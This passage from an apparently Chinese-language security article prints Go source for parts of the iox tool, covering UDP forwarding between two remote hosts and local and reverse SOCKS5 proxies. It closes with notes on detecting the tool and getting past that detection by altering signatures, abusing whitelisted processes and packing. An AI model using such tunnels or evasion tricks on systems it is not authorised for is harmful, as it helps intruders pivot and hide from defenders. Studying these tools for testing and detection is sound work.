  remoteAddrA, err := net.ResolveUDPAddr("udp", remoteA)
  if err != nil {
    logger.Warn("Parse udp address %s error: %s", remoteA, err.Error())
    return
  }
  remoteConnA, err := net.DialUDP("udp", nil, remoteAddrA)
  if err != nil {
    logger.Warn("Dial remote udp %s error: %s", remoteA, err.Error())
    return
  }
  defer remoteConnA.Close()

  remoteAddrB, err := net.ResolveUDPAddr("udp", remoteB)
  if err != nil {
    logger.Warn("Parse udp address %s error: %s", remoteB, err.Error())
    return
  }
  remoteConnB, err := net.DialUDP("udp", nil, remoteAddrB)
  if err != nil {
    logger.Warn("Dial remote udp %s error: %s", remoteB, err.Error())
    return
  }
  defer remoteConnB.Close()

  remoteCtxA, err := netio.NewUDPCtx(remoteConnA, raenc, true)
  if err != nil {
    return
  }
  remoteCtxB, err := netio.NewUDPCtx(remoteConnB, rbenc, true)
  if err != nil {
    return
  }

  {
    // Need to send init packet to register the remote address, it doesn't matter even tough target is not `iox`
    //
    // There is a design fault here, and I need to consider the case where the FORWARD_WITHOUT_DEC flag is set
    // but actually needs to be encrypted, otherwise there is no IV in the ciphertext
    if raenc {
      iv, err := crypto.RandomNonce()
      cipher, err := crypto.NewCipher(iv)
      if err != nil {
        return
      }

      b := make([]byte, 4, 20)
      copy(b, netio.UDP_INIT_PACKET)

      cipher.StreamXOR(b, b)
      b = append(b, iv...)
      remoteCtxA.Write(b)

    } else {
      remoteCtxA.Write(netio.UDP_INIT_PACKET)
    }
    if rbenc {
      iv, err := crypto.RandomNonce()
      cipher, err := crypto.NewCipher(iv)
      if err != nil {
        return
      }

      b := make([]byte, 4, 20)
      copy(b, netio.UDP_INIT_PACKET)

      cipher.StreamXOR(b, b)
      b = append(b, iv...)
      remoteCtxB.Write(b)

    } else {
      remoteCtxB.Write(netio.UDP_INIT_PACKET)
    }
  }

  netio.ForwardUDP(remoteCtxA, remoteCtxB)
}

func Remote2Remote(remoteA string, remoteB string, raenc bool, rbenc bool) {
  if option.PROTOCOL == "TCP" {
    logger.Success("Forward TCP traffic between %s (encrypted: %v) and %s (encrypted: %v)",
      remoteA, raenc, remoteB, rbenc)
    remote2remoteTCP(remoteA, remoteB, raenc, rbenc)
  } else {
    logger.Success("Forward UDP traffic between %s (encrypted: %v) and %s (encrypted: %v)",
      remoteA, raenc, remoteB, rbenc)
    remote2remoteUDP(remoteA, remoteB, raenc, rbenc)
  }
}

(8)proxy.go

代码语言:javascript复制
package operate

import (
  "iox/logger"
  "iox/netio"
  "iox/socks5"
  "net"
  "os"
  "os/signal"
)

func ProxyLocal(local string, encrypted bool) {
  listener, err := net.Listen("tcp", local)
  if err != nil {
    logger.Warn("Socks5 listen on %s error: %s", local, err.Error())
    return
  }

  logger.Success("Start socks5 server on %s (encrypted: %v)", local, encrypted)

  for {
    conn, err := listener.Accept()
    if err != nil {
      logger.Warn("Socks5 handle local connect error: %s", err.Error())
      continue
    }

    go func() {
      defer conn.Close()
      connCtx, err := netio.NewTCPCtx(conn, encrypted)
      if err != nil {
        return
      }

      socks5.HandleConnection(connCtx)
    }()
  }
}

func ProxyRemote(remote string, encrypted bool) {
  session, ctlStream, err := clientHandshake(remote)
  if err != nil {
    logger.Warn(err.Error())
    return
  }
  defer session.Close()

  logger.Success("Remote socks5 handshake ok (encrypted: %v)", encrypted)

  connectRequest := make(chan uint8, MAX_CONNECTION)
  defer close(connectRequest)
  endSignal := make(chan struct{})

  // handle ctrl C
  {
    sigs := make(chan os.Signal)
    signal.Notify(sigs, os.Interrupt)
    go func() {
      <-sigs
      ctlStream.Write(marshal(Protocol{
        CMD: CTL_CLEANUP,
        N:   0,
      }))
      logger.Success("Recv Ctrl C, exit now")
      os.Exit(0)
    }()
  }

  // handle ctl stream
  go func() {
    defer ctlStream.Close()

    for {
      pb, err := readUntilEnd(ctlStream)
      if err != nil {
        logger.Warn("Control connection has been closed, exit now")
        os.Exit(-1)
      }

      p := unmarshal(pb)
      switch p.CMD {
      case CTL_CONNECT_ME:
        connectRequest <- p.N
      case CTL_CLEANUP:
        endSignal <- struct{}{}
        return
      }
    }
  }()

  // handle CONNECT_ME request
  for {
    select {
    case <-endSignal:
      logger.Success("Recv exit signal from remote, exit now")
      return
    case n := <-connectRequest:
      for n > 0 {
        go func() {
          stream, err := session.OpenStream()
          if err != nil {
            logger.Info(err.Error())
            return
          }
          defer stream.Close()

          connCtx, err := netio.NewTCPCtx(stream, encrypted)
          if err != nil {
            return
          }

          socks5.HandleConnection(connCtx)
        }()
        n--
      }
    }
  }
}

func ProxyRemoteL2L(control string, local string, cenc bool, lenc bool) {
  masterListener, err := net.Listen("tcp", control)
  if err != nil {
    logger.Warn("Listen on %s error", control)
    return
  }
  defer masterListener.Close()

  logger.Info("Listen on %s for reverse socks5", control)

  localListener, err := net.Listen("tcp", local)
  if err != nil {
    logger.Warn("Listen on %s error", local)
    return
  }
  defer localListener.Close()

  session, ctlStream, err := serverHandshake(masterListener)
  if err != nil {
    logger.Warn(err.Error())
    return
  }
  defer session.Close()
  defer ctlStream.Close()

  logger.Success("Reverse socks5 server handshake ok from %s (encrypted: %v)", session.RemoteAddr().String(), cenc)
  logger.Success("Socks5 server is listening on %s (encrypted: %v)", local, lenc)

  // handle ctrl C
  {
    sigs := make(chan os.Signal)
    signal.Notify(sigs, os.Interrupt)
    go func() {
      <-sigs
      ctlStream.Write(marshal(Protocol{
        CMD: CTL_CLEANUP,
        N:   0,
      }))
      logger.Success("Recv Ctrl C, exit now")
      os.Exit(0)
    }()
  }

  localConnBuffer := make(chan net.Conn, MAX_CONNECTION)
  defer close(localConnBuffer)

  // handle ctl stream read
  go func() {
    for {
      pb, err := readUntilEnd(ctlStream)
      if err != nil {
        logger.Warn("Control connection has been closed, exit now")
        os.Exit(-1)
      }

      p := unmarshal(pb)
      switch p.CMD {
      case CTL_CLEANUP:
        logger.Success("Recv exit signal from remote, exit now")
        os.Exit(0)
      }
    }
  }()

  // handle local connection
  go func() {
    for {
      localConn, err := localListener.Accept()
      if err != nil {
        continue
      }

      localConnBuffer <- localConn

      _, err = ctlStream.Write(marshal(Protocol{
        CMD: CTL_CONNECT_ME,
        N:   1,
      }))
      if err != nil {
        logger.Warn("Control connection has been closed, exit now")
        os.Exit(-1)
      }
    }
  }()

  for {
    remoteStream, err := session.AcceptStream()
    if err != nil {
      continue
    }

    localConn := <-localConnBuffer

    go func() {
      defer remoteStream.Close()
      defer localConn.Close()

      remoteConnCtx, err := netio.NewTCPCtx(remoteStream, cenc)
      if err != nil {
        return
      }

      localConnCtx, err := netio.NewTCPCtx(localConn, lenc)
      if err != nil {
        return
      }

      netio.PipeForward(remoteConnCtx, localConnCtx)
    }()
  }
}

2、检测与绕过

(1)特征字符串和特征码

命令和log里的特征字符串可以作为检测特征

然后是代码里的特征码

绕过方法:修改掉相应的特征

(2)端口控制

这类端口转发的工具,如果端口限制死就失去作用了

绕过方法:无

(3)进程和库调用

通过终端的进程链控制和第三方库的调用情况在做检测

绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套

(4)SOCKS代理的检测

这是IDS这块,具体原理不清

结语

iox主要是比较新


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞